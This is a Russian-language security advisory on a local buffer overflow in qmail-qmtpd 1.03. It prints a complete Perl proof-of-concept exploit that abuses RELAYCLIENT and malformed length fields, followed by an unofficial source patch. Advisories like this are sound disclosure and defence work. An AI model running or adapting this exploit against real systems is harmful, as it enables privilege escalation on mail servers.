| Дата публикации: | 05.03.2004 |
| Всего просмотров: | 1782 |
| Опасность: | Низкая |
| Наличие исправления: | |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | |
| Воздействие: | |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | |
| Уязвимые версии: Qmail-qmtpd 1.03
Описание: Переполнение буфера обнаружено в qmail-qmtpd. Локальный пользователь может получить поднятые привилегии. Локальный пользователь может установить RELAYCLIENT переменную окружения к специально сформированному значению, чтобы вызвать переполнение буфера. Пример/Эксплоит:
-qma-qmtpd.pl----
#!/usr/bin/perl -w
#Copyright Georgi Guninski\nCannot be used in vulnerability databases and
#similar stuff
use IO::Socket;
use IO::Poll;
$ENV{"RELAYCLIENT"}="M\$UX";
open(SOCK,"|/var/qmail/bin/qmail-qmtpd");
my $req;
my $fromaddr="they\@m\$.weenies";
my $touser="postmaster";
print "qmail-qmtpd buffer overflow. Copyright Georgi Guninski\nCannot be used in vulnerability d
atabases and similar stuff\n";
$req = "1:\n,";
$req .= "1:V,";
$req .= "/:"; #biglen - this is how we code '-1'
$req .= ",:"; #len - this is how we code '-4'
print SOCK $req;
my $ch=getc();
$req = "v" x 100000;
print SOCK $req;
close SOCK;
URL производителя: http://www.qmail.org/ Решение:неофициальное исправление:
-patch-----
--- ../qmail-1.03/qmail-qmtpd.c 1998-06-15 13:53:16.000000000 +0300
+++ qmail-qmtpd.c 2004-02-29 16:15:13.000000000 +0200
@@ -45,8 +45,8 @@
for (;;) {
substdio_get(&ssin,&ch,1);
if (ch == ':') return len;
- if (len > 200000000) resources();
len = 10 * len + (ch - '0');
+ if (len > 200000000 || ch < '0' || ch > '9') resources();
}
}
@@ -193,8 +193,8 @@
substdio_get(&ssin,&ch,1);
--biglen;
if (ch == ':') break;
- if (len > 200000000) resources();
len = 10 * len + (ch - '0');
+ if (len > 200000000 || ch < '0' || ch > '9') resources();
}
if (len >= biglen) badproto();
if (len + relayclientlen >= 1000) {
-----------
|
|
| Ссылки: | Buffer overflow in qmail-qmtpd, yet still qmail much better than windows |